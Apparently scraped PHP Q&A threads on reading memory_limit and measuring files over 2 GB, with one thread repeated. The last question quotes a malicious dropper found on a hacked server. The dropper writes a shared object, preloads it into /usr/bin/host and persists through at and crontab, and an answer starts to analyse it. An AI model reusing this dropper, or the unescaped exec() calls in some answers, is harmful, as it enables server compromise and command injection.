I'm need to check if memory_limit is at least 64M in my script installer. This is just part of PHP code that should work, but probably due to this "M" it's not reading properly the value. How to fix this ?
//memory_limit
echo "<phpmem>";
if(key_exists('PHP Core', $phpinfo))
{
if(key_exists('memory_limit', $phpinfo['PHP Core']))
{
$t=explode(".", $phpinfo['PHP Core']['memory_limit']);
if($t[0]>=64)
$ok=1;
else
$ok=0;
echo "<val>{$phpinfo['PHP Core']['memory_limit']}</val><ok>$ok</ok>";
}
else
echo "<val></val><ok>0</ok>";
}
else
echo "<val></val><ok>0</ok>";
echo "</phpmem>\n";
Checking on command line:
php -i | grep "memory_limit"
Try to convert the value first (eg: 64M -> 64 * 1024 * 1024). After that, do comparison and print the result.
<?php
$memory_limit = ini_get('memory_limit');
if (preg_match('/^(\d+)(.)$/', $memory_limit, $matches)) {
if ($matches[2] == 'M') {
$memory_limit = $matches[1] * 1024 * 1024; // nnnM -> nnn MB
} else if ($matches[2] == 'K') {
$memory_limit = $matches[1] * 1024; // nnnK -> nnn KB
}
}
$ok = ($memory_limit >= 64 * 1024 * 1024); // at least 64M?
echo '<phpmem>';
echo '<val>' . $memory_limit . '</val>';
echo '<ok>' . ($ok ? 1 : 0) . '</ok>';
echo '</phpmem>';
Please note that the above code is just an idea. Don't forget to handle -1 (no memory limit), integer-only value (value in bytes), G (value in gigabytes), k/m/g (value in kilobytes, megabytes, gigabytes because shorthand is case-insensitive), etc.
1. PHP-CLI:
Command line to check ini:
$ php -r "echo ini_get('memory_limit');"
Or check php-cli info and grep memory_limit value:
$ php -i | grep "memory_limit"
2. PHP-FPM:
Paste this line into index.php or any php file that can be viewed on a browser, then check the result:
<?php echo ini_get('memory_limit');
An alternative way is using phpinfo():
<?php phpinfo();
then find for memory_limit value
Here is another simpler way to check that.
$memory_limit = return_bytes(ini_get('memory_limit'));
if ($memory_limit < (64 * 1024 * 1024)) {
// Memory insufficient
}
/**
* Converts shorthand memory notation value to bytes
* From http://php.net/manual/en/function.ini-get.php
*
* #param $val Memory size shorthand notation string
*/
function return_bytes($val) {
$val = trim($val);
$last = strtolower($val[strlen($val)-1]);
$val = substr($val, 0, -1);
switch($last) {
// The 'G' modifier is available since PHP 5.1.0
case 'g':
$val *= 1024;
case 'm':
$val *= 1024;
case 'k':
$val *= 1024;
}
return $val;
}
very old post. but i'll just leave this here:
/* converts a number with byte unit (B / K / M / G) into an integer */
function unitToInt($s)
{
return (int)preg_replace_callback('/(\-?\d+)(.?)/', function ($m) {
return $m[1] * pow(1024, strpos('BKMG', $m[2]));
}, strtoupper($s));
}
$mem_limit = unitToInt(ini_get('memory_limit'));
Not so exact but simpler solution:
$limit = str_replace(array('G', 'M', 'K'), array('000000000', '000000', '000'), ini_get('memory_limit'));
if($limit < 500000000) ini_set('memory_limit', '500M');
As long as your array $phpinfo['PHP Core']['memory_limit'] contains the value of memory_limit, it does work the following:
The last character of that value can signal the shorthand notation. If it's an invalid one, it's ignored.
The beginning of the string is converted to a number in PHP's own specific way: Whitespace ignored etc.
The text between the number and the shorthand notation (if any) is ignored.
Example:
# Memory Limit equal or higher than 64M?
$ok = (int) (bool) setting_to_bytes($phpinfo['PHP Core']['memory_limit']) >= 0x4000000;
/**
* #param string $setting
*
* #return NULL|number
*/
function setting_to_bytes($setting)
{
static $short = array('k' => 0x400,
'm' => 0x100000,
'g' => 0x40000000);
$setting = (string)$setting;
if (!($len = strlen($setting))) return NULL;
$last = strtolower($setting[$len - 1]);
$numeric = (int) $setting;
$numeric *= isset($short[$last]) ? $short[$last] : 1;
return $numeric;
}
Details of the shorthand notation are outline in a PHP manual's FAQ entry and extreme details are part of Protocol of some PHP Memory Stretching Fun.
Take care if the setting is -1 PHP won't limit here, but the system does. So you need to decide how the installer treats that value.
If you are interested in CLI memory limit:
cat /etc/php/[7.0]/cli/php.ini | grep "memory_limit"
FPM / "Normal"
cat /etc/php/[7.0]/fpm/php.ini | grep "memory_limit"
Thank you for inspiration.
I had the same problem and instead of just copy-pasting some function from the Internet, I wrote an open source tool for it. Feel free to use it or provide feedback!
https://github.com/BrandEmbassy/php-memory
Just install it using Composer and then you get the current PHP memory limit like this:
$configuration = new \BrandEmbassy\Memory\MemoryConfiguration();
$limitProvider = new \BrandEmbassy\Memory\MemoryLimitProvider($configuration);
$limitInBytes = $memoryLimitProvider->getLimitInBytes();
Related
I need to get the file size of a file over 2 GB in size. (testing on 4.6 GB file). Is there any way to do this without an external program?
Current status:
filesize(), stat() and fseek() fails
fread() and feof() works
There is a possibility to get the file size by reading the file content (extremely slow!).
$size = (float) 0;
$chunksize = 1024 * 1024;
while (!feof($fp)) {
fread($fp, $chunksize);
$size += (float) $chunksize;
}
return $size;
I know how to get it on 64-bit platforms (using fseek($fp, 0, SEEK_END) and ftell()), but I need solution for 32-bit platform.
Solution: I've started open-source project for this.
Big File Tools
Big File Tools is a collection of hacks that are needed to manipulate files over 2 GB in PHP (even on 32-bit systems).
answer: https://stackoverflow.com/a/35233556/631369
github: https://github.com/jkuchar/BigFileTools
Here's one possible method:
It first attempts to use a platform-appropriate shell command (Windows shell substitution modifiers or *nix/Mac stat command). If that fails, it tries COM (if on Windows), and finally falls back to filesize().
/*
* This software may be modified and distributed under the terms
* of the MIT license.
*/
function filesize64($file)
{
static $iswin;
if (!isset($iswin)) {
$iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');
}
static $exec_works;
if (!isset($exec_works)) {
$exec_works = (function_exists('exec') && !ini_get('safe_mode') && #exec('echo EXEC') == 'EXEC');
}
// try a shell command
if ($exec_works) {
$cmd = ($iswin) ? "for %F in (\"$file\") do #echo %~zF" : "stat -c%s \"$file\"";
#exec($cmd, $output);
if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) {
return $size;
}
}
// try the Windows COM interface
if ($iswin && class_exists("COM")) {
try {
$fsobj = new COM('Scripting.FileSystemObject');
$f = $fsobj->GetFile( realpath($file) );
$size = $f->Size;
} catch (Exception $e) {
$size = null;
}
if (ctype_digit($size)) {
return $size;
}
}
// if all else fails
return filesize($file);
}
I've started project called Big File Tools. It is proven to work on Linux, Mac and Windows (even 32-bit variants). It provides byte-precise results even for huge files (>4GB). Internally it uses brick/math - arbitrary-precision arithmetic library.
Install it using composer.
composer install jkuchar/BigFileTools
and use it:
<?php
$file = BigFileTools\BigFileTools::createDefault()->getFile(__FILE__);
echo $file->getSize() . " bytes\n";
Result is BigInteger so you can compute with results
$sizeInBytes = $file->getSize();
$sizeInMegabytes = $sizeInBytes->toBigDecimal()->dividedBy(1024*1024, 2, \Brick\Math\RoundingMode::HALF_DOWN);
echo "Size is $sizeInMegabytes megabytes\n";
Big File Tools internally uses drivers to reliably determine exact file size on all platforms. Here is list of available drivers (updated 2016-02-05)
| Driver | Time (s) ↓ | Runtime requirements | Platform
| --------------- | ------------------- | -------------- | ---------
| CurlDriver | 0.00045299530029297 | CURL extension | -
| NativeSeekDriver | 0.00052094459533691 | - | -
| ComDriver | 0.0031449794769287 | COM+.NET extension | Windows only
| ExecDriver | 0.042937040328979 | exec() enabled | Windows, Linux, OS X
| NativeRead | 2.7670161724091 | - | -
You can use BigFileTools with any of these or fastest available is chosen by default (BigFileTools::createDefault())
use BigFileTools\BigFileTools;
use BigFileTools\Driver;
$bigFileTools = new BigFileTools(new Driver\CurlDriver());
<?php
######################################################################
# Human size for files smaller or bigger than 2 GB on 32 bit Systems #
# size.php - 1.1 - 17.01.2012 - Alessandro Marinuzzi - www.alecos.it #
######################################################################
function showsize($file) {
if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN') {
if (class_exists("COM")) {
$fsobj = new COM('Scripting.FileSystemObject');
$f = $fsobj->GetFile(realpath($file));
$file = $f->Size;
} else {
$file = trim(exec("for %F in (\"" . $file . "\") do #echo %~zF"));
}
} elseif (PHP_OS == 'Darwin') {
$file = trim(shell_exec("stat -f %z " . escapeshellarg($file)));
} elseif ((PHP_OS == 'Linux') || (PHP_OS == 'FreeBSD') || (PHP_OS == 'Unix') || (PHP_OS == 'SunOS')) {
$file = trim(shell_exec("stat -c%s " . escapeshellarg($file)));
} else {
$file = filesize($file);
}
if ($file < 1024) {
echo $file . ' Byte';
} elseif ($file < 1048576) {
echo round($file / 1024, 2) . ' KB';
} elseif ($file < 1073741824) {
echo round($file / 1048576, 2) . ' MB';
} elseif ($file < 1099511627776) {
echo round($file / 1073741824, 2) . ' GB';
} elseif ($file < 1125899906842624) {
echo round($file / 1099511627776, 2) . ' TB';
} elseif ($file < 1152921504606846976) {
echo round($file / 1125899906842624, 2) . ' PB';
} elseif ($file < 1180591620717411303424) {
echo round($file / 1152921504606846976, 2) . ' EB';
} elseif ($file < 1208925819614629174706176) {
echo round($file / 1180591620717411303424, 2) . ' ZB';
} else {
echo round($file / 1208925819614629174706176, 2) . ' YB';
}
}
?>
Use as follow:
<?php include("php/size.php"); ?>
And where you want:
<?php showsize("files/VeryBigFile.rar"); ?>
If you want improve it you are welcome!
$file_size=sprintf("%u",filesize($working_dir."\\".$file));
This works for me on a Windows Box.
I was looking through the bug log here: https://bugs.php.net/bug.php?id=63618 and found this solution.
I found a nice slim solution for Linux/Unix only to get the filesize of large files with 32-bit php.
$file = "/path/to/my/file.tar.gz";
$filesize = exec("stat -c %s ".$file);
You should handle the $filesize as string. Trying to casting as int results in a filesize = PHP_INT_MAX if the filesize is larger than PHP_INT_MAX.
But although handled as string the following human readable algo works:
formatBytes($filesize);
public function formatBytes($size, $precision = 2) {
$base = log($size) / log(1024);
$suffixes = array('', 'k', 'M', 'G', 'T');
return round(pow(1024, $base - floor($base)), $precision) . $suffixes[floor($base)];
}
so my output for a file larger than 4 Gb is:
4.46G
Well easyest way to do that would be to simply add a max value to your number.
This means on x86 platform long number add 2^32:
if($size < 0) $size = pow(2,32) + $size;
example: Big_File.exe - 3,30Gb (3.554.287.616 b) your function returns -740679680 so you add 2^32 (4294967296) and get 3554287616.
You get negative number because your system reserves one bit of memory to the negative sign, so you are left with 2^31 (2.147.483.648 = 2G) maximum value of either negative or positive number. When system reaches this maximum value it doesn't stop but simply overwrites that last reserved bit and your number is now forced to negative. In simpler words, when you exceed maximum positive number you will be forced to maximum negative number, so 2147483648 + 1 = -2147483648.
Further addition goes towards zero and again towards maximum number.
As you can see it is like a circle with highest and lowest numbers closing the loop.
Total maximum number that x86 architecture can "digest" in one tick is 2^32 = 4294967296 = 4G, so as long as your number is lower than that, this simple trick will always work. In higher numbers you must know how many times you have passed the looping point and simply multiply it by 2^32 and add it to your result:
$size = pow(2,32) * $loops_count + $size;
Ofcourse in basic PHP functions this is quite hard to do, because no function will tell you how many times it has passed the looping point, so this won't work for files over 4Gigs.
If you have an FTP server you could use fsockopen:
$socket = fsockopen($hostName, 21);
$t = fgets($socket, 128);
fwrite($socket, "USER $myLogin\r\n");
$t = fgets($socket, 128);
fwrite($socket, "PASS $myPass\r\n");
$t = fgets($socket, 128);
fwrite($socket, "SIZE $fileName\r\n");
$t = fgets($socket, 128);
$fileSize=floatval(str_replace("213 ","",$t));
echo $fileSize;
fwrite($socket, "QUIT\r\n");
fclose($socket);
(Found as a comment on the ftp_size page)
you may want to add some alternatives to the function you use such as calling system functions such as "dir" / "ls" and get the information from there. They are subject of security of course, things you can check and eventually revert to the slow method as a last resort only.
One option would be to seek to the 2gb mark and then read the length from there...
function getTrueFileSize($filename) {
$size = filesize($filename);
if ($size === false) {
$fp = fopen($filename, 'r');
if (!$fp) {
return false;
}
$offset = PHP_INT_MAX - 1;
$size = (float) $offset;
if (!fseek($fp, $offset)) {
return false;
}
$chunksize = 8192;
while (!feof($fp)) {
$size += strlen(fread($fp, $chunksize));
}
} elseif ($size < 0) {
// Handle overflowed integer...
$size = sprintf("%u", $size);
}
return $size;
}
So basically that seeks to the largest positive signed integer representable in PHP (2gb for a 32 bit system), and then reads from then on using 8kb blocks (which should be a fair tradeoff for best memory efficiency vs disk transfer efficiency).
Also note that I'm not adding $chunksize to size. The reason is that fread may actually return more or fewer bytes than $chunksize depending on a number of possibilities. So instead, use strlen to determine the length of the parsed string.
When IEEE double is used (very most of systems), file sizes below ~4EB (etabytes = 10^18 bytes) do fit into double as precise numbers (and there should be no loss of precision when using standard arithmetic operations).
You can't reliably get the size of a file on a 32 bit system by checking if filesize() returns negative, as some answers suggest. This is because if a file is between 4 and 6 gigs on a 32 bit system filesize will report a positive number, then negative from 6 to 8 then positive from 8 to 10 and so on. It loops, in a manner of speaking.
So you're stuck using an external command that works reliably on your 32 bit system.
However, one very useful tool is the ability to check if the file size is bigger than a certain size and you can do this reliably on even very big files.
The following seeks to 50 megs and tries to read one byte. It is very fast on my low spec test machine and works reliably even when the size is much greater than 2 gigs.
You can use this to check if a file is greater than 2147483647 bytes (2147483648 is max int on 32 bit systems) and then handle the file differently or have your app issue a warning.
function isTooBig($file){
$fh = #fopen($file, 'r');
if(! $fh){ return false; }
$offset = 50 * 1024 * 1024; //50 megs
$tooBig = false;
if(fseek($fh, $offset, SEEK_SET) === 0){
if(strlen(fread($fh, 1)) === 1){
$tooBig = true;
}
} //Otherwise we couldn't seek there so it must be smaller
fclose($fh);
return $tooBig;
}
Below code works OK for any filesize on any version of PHP / OS / Webserver / Platform.
// http head request to local file to get file size
$opts = array('http'=>array('method'=>'HEAD'));
$context = stream_context_create($opts);
// change the URL below to the URL of your file. DO NOT change it to a file path.
// you MUST use a http:// URL for your file for a http request to work
// SECURITY - you must add a .htaccess rule which denies all requests for this database file except those coming from local ip 127.0.0.1.
// $tmp will contain 0 bytes, since its a HEAD request only, so no data actually downloaded, we only want file size
$tmp= file_get_contents('http://127.0.0.1/pages-articles.xml.bz2', false, $context);
$tmp=$http_response_header;
foreach($tmp as $rcd) if( stripos(trim($rcd),"Content-Length:")===0 ) $size= floatval(trim(str_ireplace("Content-Length:","",$rcd)));
echo "File size = $size bytes";
// example output
File size = 10082006833 bytes
I wrote an function which returns the file size exactly and is quite fast:
function file_get_size($file) {
//open file
$fh = fopen($file, "r");
//declare some variables
$size = "0";
$char = "";
//set file pointer to 0; I'm a little bit paranoid, you can remove this
fseek($fh, 0, SEEK_SET);
//set multiplicator to zero
$count = 0;
while (true) {
//jump 1 MB forward in file
fseek($fh, 1048576, SEEK_CUR);
//check if we actually left the file
if (($char = fgetc($fh)) !== false) {
//if not, go on
$count ++;
} else {
//else jump back where we were before leaving and exit loop
fseek($fh, -1048576, SEEK_CUR);
break;
}
}
//we could make $count jumps, so the file is at least $count * 1.000001 MB large
//1048577 because we jump 1 MB and fgetc goes 1 B forward too
$size = bcmul("1048577", $count);
//now count the last few bytes; they're always less than 1048576 so it's quite fast
$fine = 0;
while(false !== ($char = fgetc($fh))) {
$fine ++;
}
//and add them
$size = bcadd($size, $fine);
fclose($fh);
return $size;
}
I need to get the file size of a file over 2 GB in size. (testing on 4.6 GB file). Is there any way to do this without an external program?
Current status:
filesize(), stat() and fseek() fails
fread() and feof() works
There is a possibility to get the file size by reading the file content (extremely slow!).
$size = (float) 0;
$chunksize = 1024 * 1024;
while (!feof($fp)) {
fread($fp, $chunksize);
$size += (float) $chunksize;
}
return $size;
I know how to get it on 64-bit platforms (using fseek($fp, 0, SEEK_END) and ftell()), but I need solution for 32-bit platform.
Solution: I've started open-source project for this.
Big File Tools
Big File Tools is a collection of hacks that are needed to manipulate files over 2 GB in PHP (even on 32-bit systems).
answer: https://stackoverflow.com/a/35233556/631369
github: https://github.com/jkuchar/BigFileTools
Here's one possible method:
It first attempts to use a platform-appropriate shell command (Windows shell substitution modifiers or *nix/Mac stat command). If that fails, it tries COM (if on Windows), and finally falls back to filesize().
/*
* This software may be modified and distributed under the terms
* of the MIT license.
*/
function filesize64($file)
{
static $iswin;
if (!isset($iswin)) {
$iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');
}
static $exec_works;
if (!isset($exec_works)) {
$exec_works = (function_exists('exec') && !ini_get('safe_mode') && #exec('echo EXEC') == 'EXEC');
}
// try a shell command
if ($exec_works) {
$cmd = ($iswin) ? "for %F in (\"$file\") do #echo %~zF" : "stat -c%s \"$file\"";
#exec($cmd, $output);
if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) {
return $size;
}
}
// try the Windows COM interface
if ($iswin && class_exists("COM")) {
try {
$fsobj = new COM('Scripting.FileSystemObject');
$f = $fsobj->GetFile( realpath($file) );
$size = $f->Size;
} catch (Exception $e) {
$size = null;
}
if (ctype_digit($size)) {
return $size;
}
}
// if all else fails
return filesize($file);
}
I've started project called Big File Tools. It is proven to work on Linux, Mac and Windows (even 32-bit variants). It provides byte-precise results even for huge files (>4GB). Internally it uses brick/math - arbitrary-precision arithmetic library.
Install it using composer.
composer install jkuchar/BigFileTools
and use it:
<?php
$file = BigFileTools\BigFileTools::createDefault()->getFile(__FILE__);
echo $file->getSize() . " bytes\n";
Result is BigInteger so you can compute with results
$sizeInBytes = $file->getSize();
$sizeInMegabytes = $sizeInBytes->toBigDecimal()->dividedBy(1024*1024, 2, \Brick\Math\RoundingMode::HALF_DOWN);
echo "Size is $sizeInMegabytes megabytes\n";
Big File Tools internally uses drivers to reliably determine exact file size on all platforms. Here is list of available drivers (updated 2016-02-05)
| Driver | Time (s) ↓ | Runtime requirements | Platform
| --------------- | ------------------- | -------------- | ---------
| CurlDriver | 0.00045299530029297 | CURL extension | -
| NativeSeekDriver | 0.00052094459533691 | - | -
| ComDriver | 0.0031449794769287 | COM+.NET extension | Windows only
| ExecDriver | 0.042937040328979 | exec() enabled | Windows, Linux, OS X
| NativeRead | 2.7670161724091 | - | -
You can use BigFileTools with any of these or fastest available is chosen by default (BigFileTools::createDefault())
use BigFileTools\BigFileTools;
use BigFileTools\Driver;
$bigFileTools = new BigFileTools(new Driver\CurlDriver());
<?php
######################################################################
# Human size for files smaller or bigger than 2 GB on 32 bit Systems #
# size.php - 1.1 - 17.01.2012 - Alessandro Marinuzzi - www.alecos.it #
######################################################################
function showsize($file) {
if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN') {
if (class_exists("COM")) {
$fsobj = new COM('Scripting.FileSystemObject');
$f = $fsobj->GetFile(realpath($file));
$file = $f->Size;
} else {
$file = trim(exec("for %F in (\"" . $file . "\") do #echo %~zF"));
}
} elseif (PHP_OS == 'Darwin') {
$file = trim(shell_exec("stat -f %z " . escapeshellarg($file)));
} elseif ((PHP_OS == 'Linux') || (PHP_OS == 'FreeBSD') || (PHP_OS == 'Unix') || (PHP_OS == 'SunOS')) {
$file = trim(shell_exec("stat -c%s " . escapeshellarg($file)));
} else {
$file = filesize($file);
}
if ($file < 1024) {
echo $file . ' Byte';
} elseif ($file < 1048576) {
echo round($file / 1024, 2) . ' KB';
} elseif ($file < 1073741824) {
echo round($file / 1048576, 2) . ' MB';
} elseif ($file < 1099511627776) {
echo round($file / 1073741824, 2) . ' GB';
} elseif ($file < 1125899906842624) {
echo round($file / 1099511627776, 2) . ' TB';
} elseif ($file < 1152921504606846976) {
echo round($file / 1125899906842624, 2) . ' PB';
} elseif ($file < 1180591620717411303424) {
echo round($file / 1152921504606846976, 2) . ' EB';
} elseif ($file < 1208925819614629174706176) {
echo round($file / 1180591620717411303424, 2) . ' ZB';
} else {
echo round($file / 1208925819614629174706176, 2) . ' YB';
}
}
?>
Use as follow:
<?php include("php/size.php"); ?>
And where you want:
<?php showsize("files/VeryBigFile.rar"); ?>
If you want improve it you are welcome!
$file_size=sprintf("%u",filesize($working_dir."\\".$file));
This works for me on a Windows Box.
I was looking through the bug log here: https://bugs.php.net/bug.php?id=63618 and found this solution.
I found a nice slim solution for Linux/Unix only to get the filesize of large files with 32-bit php.
$file = "/path/to/my/file.tar.gz";
$filesize = exec("stat -c %s ".$file);
You should handle the $filesize as string. Trying to casting as int results in a filesize = PHP_INT_MAX if the filesize is larger than PHP_INT_MAX.
But although handled as string the following human readable algo works:
formatBytes($filesize);
public function formatBytes($size, $precision = 2) {
$base = log($size) / log(1024);
$suffixes = array('', 'k', 'M', 'G', 'T');
return round(pow(1024, $base - floor($base)), $precision) . $suffixes[floor($base)];
}
so my output for a file larger than 4 Gb is:
4.46G
Well easyest way to do that would be to simply add a max value to your number.
This means on x86 platform long number add 2^32:
if($size < 0) $size = pow(2,32) + $size;
example: Big_File.exe - 3,30Gb (3.554.287.616 b) your function returns -740679680 so you add 2^32 (4294967296) and get 3554287616.
You get negative number because your system reserves one bit of memory to the negative sign, so you are left with 2^31 (2.147.483.648 = 2G) maximum value of either negative or positive number. When system reaches this maximum value it doesn't stop but simply overwrites that last reserved bit and your number is now forced to negative. In simpler words, when you exceed maximum positive number you will be forced to maximum negative number, so 2147483648 + 1 = -2147483648.
Further addition goes towards zero and again towards maximum number.
As you can see it is like a circle with highest and lowest numbers closing the loop.
Total maximum number that x86 architecture can "digest" in one tick is 2^32 = 4294967296 = 4G, so as long as your number is lower than that, this simple trick will always work. In higher numbers you must know how many times you have passed the looping point and simply multiply it by 2^32 and add it to your result:
$size = pow(2,32) * $loops_count + $size;
Ofcourse in basic PHP functions this is quite hard to do, because no function will tell you how many times it has passed the looping point, so this won't work for files over 4Gigs.
If you have an FTP server you could use fsockopen:
$socket = fsockopen($hostName, 21);
$t = fgets($socket, 128);
fwrite($socket, "USER $myLogin\r\n");
$t = fgets($socket, 128);
fwrite($socket, "PASS $myPass\r\n");
$t = fgets($socket, 128);
fwrite($socket, "SIZE $fileName\r\n");
$t = fgets($socket, 128);
$fileSize=floatval(str_replace("213 ","",$t));
echo $fileSize;
fwrite($socket, "QUIT\r\n");
fclose($socket);
(Found as a comment on the ftp_size page)
you may want to add some alternatives to the function you use such as calling system functions such as "dir" / "ls" and get the information from there. They are subject of security of course, things you can check and eventually revert to the slow method as a last resort only.
One option would be to seek to the 2gb mark and then read the length from there...
function getTrueFileSize($filename) {
$size = filesize($filename);
if ($size === false) {
$fp = fopen($filename, 'r');
if (!$fp) {
return false;
}
$offset = PHP_INT_MAX - 1;
$size = (float) $offset;
if (!fseek($fp, $offset)) {
return false;
}
$chunksize = 8192;
while (!feof($fp)) {
$size += strlen(fread($fp, $chunksize));
}
} elseif ($size < 0) {
// Handle overflowed integer...
$size = sprintf("%u", $size);
}
return $size;
}
So basically that seeks to the largest positive signed integer representable in PHP (2gb for a 32 bit system), and then reads from then on using 8kb blocks (which should be a fair tradeoff for best memory efficiency vs disk transfer efficiency).
Also note that I'm not adding $chunksize to size. The reason is that fread may actually return more or fewer bytes than $chunksize depending on a number of possibilities. So instead, use strlen to determine the length of the parsed string.
When IEEE double is used (very most of systems), file sizes below ~4EB (etabytes = 10^18 bytes) do fit into double as precise numbers (and there should be no loss of precision when using standard arithmetic operations).
You can't reliably get the size of a file on a 32 bit system by checking if filesize() returns negative, as some answers suggest. This is because if a file is between 4 and 6 gigs on a 32 bit system filesize will report a positive number, then negative from 6 to 8 then positive from 8 to 10 and so on. It loops, in a manner of speaking.
So you're stuck using an external command that works reliably on your 32 bit system.
However, one very useful tool is the ability to check if the file size is bigger than a certain size and you can do this reliably on even very big files.
The following seeks to 50 megs and tries to read one byte. It is very fast on my low spec test machine and works reliably even when the size is much greater than 2 gigs.
You can use this to check if a file is greater than 2147483647 bytes (2147483648 is max int on 32 bit systems) and then handle the file differently or have your app issue a warning.
function isTooBig($file){
$fh = #fopen($file, 'r');
if(! $fh){ return false; }
$offset = 50 * 1024 * 1024; //50 megs
$tooBig = false;
if(fseek($fh, $offset, SEEK_SET) === 0){
if(strlen(fread($fh, 1)) === 1){
$tooBig = true;
}
} //Otherwise we couldn't seek there so it must be smaller
fclose($fh);
return $tooBig;
}
Below code works OK for any filesize on any version of PHP / OS / Webserver / Platform.
// http head request to local file to get file size
$opts = array('http'=>array('method'=>'HEAD'));
$context = stream_context_create($opts);
// change the URL below to the URL of your file. DO NOT change it to a file path.
// you MUST use a http:// URL for your file for a http request to work
// SECURITY - you must add a .htaccess rule which denies all requests for this database file except those coming from local ip 127.0.0.1.
// $tmp will contain 0 bytes, since its a HEAD request only, so no data actually downloaded, we only want file size
$tmp= file_get_contents('http://127.0.0.1/pages-articles.xml.bz2', false, $context);
$tmp=$http_response_header;
foreach($tmp as $rcd) if( stripos(trim($rcd),"Content-Length:")===0 ) $size= floatval(trim(str_ireplace("Content-Length:","",$rcd)));
echo "File size = $size bytes";
// example output
File size = 10082006833 bytes
I wrote an function which returns the file size exactly and is quite fast:
function file_get_size($file) {
//open file
$fh = fopen($file, "r");
//declare some variables
$size = "0";
$char = "";
//set file pointer to 0; I'm a little bit paranoid, you can remove this
fseek($fh, 0, SEEK_SET);
//set multiplicator to zero
$count = 0;
while (true) {
//jump 1 MB forward in file
fseek($fh, 1048576, SEEK_CUR);
//check if we actually left the file
if (($char = fgetc($fh)) !== false) {
//if not, go on
$count ++;
} else {
//else jump back where we were before leaving and exit loop
fseek($fh, -1048576, SEEK_CUR);
break;
}
}
//we could make $count jumps, so the file is at least $count * 1.000001 MB large
//1048577 because we jump 1 MB and fgetc goes 1 B forward too
$size = bcmul("1048577", $count);
//now count the last few bytes; they're always less than 1048576 so it's quite fast
$fine = 0;
while(false !== ($char = fgetc($fh))) {
$fine ++;
}
//and add them
$size = bcadd($size, $fine);
fclose($fh);
return $size;
}
So I have been hacked a while ago and now I have a weird PHP file in my file manager. This is the content of it:
<?php
#touch("index.html");
header("Content-type: text/plain");
print "2842123700\n";
if (! function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = #fopen($filename, 'w');
if (! $f)
return false;
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
#system("killall -9 ".basename("/usr/bin/host"));
$so32 = "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x ... ETC ...";
$so64 = "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\x78\x13\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ ...ETC...";
$arch = 64;
if (intval("9223372036854775807") == 2147483647)
$arch = 32;
$so = $arch == 32 ? $so32 : $so64;
$f = fopen("/usr/bin/host", "rb");
if ($f) {
$n = unpack("C*", fread($f, 8));
$so[7] = sprintf("%c", $n[8]);
fclose($f);
}
$n = file_put_contents("./jquery.so", $so);
$AU=#$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$HBN=basename("/usr/bin/host");
$SCP=getcwd();
#file_put_contents("1.sh", "#!/bin/sh\ncd '".$SCP."'\nif [ -f './jquery.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./jquery.so\n/usr/bin/host\nunset LD_PRELOAD\ncrontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n");
#chmod("1.sh", 0777);
#system("at now -f 1.sh", $ret);
if ($ret == 0) {
for ($i = 0; $i < 5; $i++) {
if (! #file_exists("1.sh")) {
print "AT success\n";
exit(0);
}
sleep(1);
}
}
#system("(crontab -l|grep -v crontab;echo;echo '* * * * * ".$SCP."/1.sh')|crontab", $ret);
if ($ret == 0) {
for ($i = 0; $i < 62; $i++) {
if (! #file_exists("1.sh")) {
print "CRONTAB success\n";
exit(0);
}
sleep(1);
}
}
#system("./1.sh");
#unlink("1.sh");
?>
Ofcourse, I delete it. But what did it? Are there more files infected?
I understand that it is checking if the system is a 32bit system or 64bit, then it creates 1.sh and executes it but what then?
Full code: http://pastebin.com/hejkuQtV
I tried to analyze the code. Have a look at this and check my comments regarding the shell script "1.sh". In my opinion deleting the PHP script would not be sufficient.
<?php
//probably the attacker wants to check that the script works.
#touch("index.html");
header("Content-type: text/plain");
print "2842123700\n";
//redefine file_put_contents if doesn't exist
if (! function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = #fopen($filename, 'w');
if (! $f)
return false;
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
//kill all running instances of host command. "host" command is used for DNS lookups among other things.
#system("killall -9 ".basename("/usr/bin/host"));
//32 bit
$so32 = "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x ... ETC ...";
//64 bit
$so64 = "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\x78\x13\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ ...ETC...";
$arch = 64;
//decide on the architecture based on the value of max int
if (intval("9223372036854775807") == 2147483647)
$arch = 32;
//the hex based on architecture. "so" probably contains a function() used by "host". The attacker is replacing it later before running "host" command.
$so = $arch == 32 ? $so32 : $so64;
//read 8 bytes from "host" binary file, and unpack it as an unsigned char.
$f = fopen("/usr/bin/host", "rb");
if ($f) {
//n is an array of unsigned chars. Each array item can be (0-255)
$n = unpack("C*", fread($f, 8));
//convert to ascii, and replace the 7th character in the string with a value obtained from "hosts" binary file.
//This vale from "hosts" will be specific to current server/environment - set during compilation/installation.
//NOTE: The contents of "so" string, will be written to a new file "jquery.so".
$so[7] = sprintf("%c", $n[8]);
fclose($f);
}
//the shared object
$n = file_put_contents("./jquery.so", $so);
//The shared object "jquery.so" uses an environment variable named "AU". It's more clear later.
$AU=#$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
//should give "host"
$HBN=basename("/usr/bin/host");
//current dir
$SCP=getcwd();
//Examining the following line, here's what it writes to 1.sh
